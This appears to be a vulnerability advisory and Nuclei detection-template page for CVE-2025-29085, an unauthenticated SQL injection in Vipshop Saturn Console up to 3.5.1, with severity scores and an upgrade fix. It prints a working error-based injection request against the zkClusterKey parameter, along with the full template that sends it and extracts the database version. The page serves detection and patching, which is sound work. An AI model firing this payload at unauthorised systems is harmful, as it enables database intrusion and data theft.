Vipshop Saturn Console <= 3.5.1 - SQL Injection via ClusterKey Component

criticalseverity

9.8CVSS score

31.4%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

SQL injection vulnerability in vipshop Saturn v.3.5.1 and before allows a remote attacker to execute arbitrary code via /console/dashboard/executorCount?zkClusterKey component.

Impact

Unauthenticated attackers can execute arbitrary SQL queries through the zkClusterKey parameter, potentially extracting sensitive database information and compromising Saturn Console.

Fix

Upgrade to Vipshop Saturn version 3.5.2 or later that properly sanitizes SQL input parameters.

How to confirm it

Send: GET /console/dashboard/executorCount?zkClusterKey=1%27-extractvalue(1,concat(0x0a,version()))--%20-
Positive when: contains "java.sql.SQLException: XPATH syntax error: '"

Run it with nuclei: nuclei -id CVE-2025-29085 -u <target>

The full check

id: CVE-2025-29085

info:
  name: Vipshop Saturn Console <= 3.5.1 - SQL Injection via ClusterKey Component
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    SQL injection vulnerability in vipshop Saturn v.3.5.1 and before allows a remote attacker to execute arbitrary code via /console/dashboard/executorCount?zkClusterKey component.
  impact: |
    Unauthenticated attackers can execute arbitrary SQL queries through the zkClusterKey parameter, potentially extracting sensitive database information and compromising Saturn Console.
  remediation: |
    Upgrade to Vipshop Saturn version 3.5.2 or later that properly sanitizes SQL input parameters.
  reference:
    - https://github.com/advisories/GHSA-49v8-p6mm-3pfj
    - https://gist.github.com/Cafe-Tea/bcef0d7a2bdb5ec8e0d69de852fdc900
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-29085
    cwe-id: CWE-89
    epss-score: 0.31435
    epss-percentile: 0.98296
  metadata:
    verified: true
  tags: cve,cve2025,vipshop,sqli,vkev,vuln

http:
  - raw:
      - |
        GET /console/dashboard/executorCount?zkClusterKey=1%27-extractvalue(1,concat(0x0a,version()))--%20- HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - "java.sql.SQLException: XPATH syntax error: '"

    extractors:
      - type: regex
        part: body
        internal: true
        name: version
        group: 1
        regex:
          - "XPATH syntax error: '\\\\n(.*?)'"

      - type: dsl
        dsl:
          - '"Database Version: " + version'

References

Use this check only on systems you are authorised to test. Where the data comes from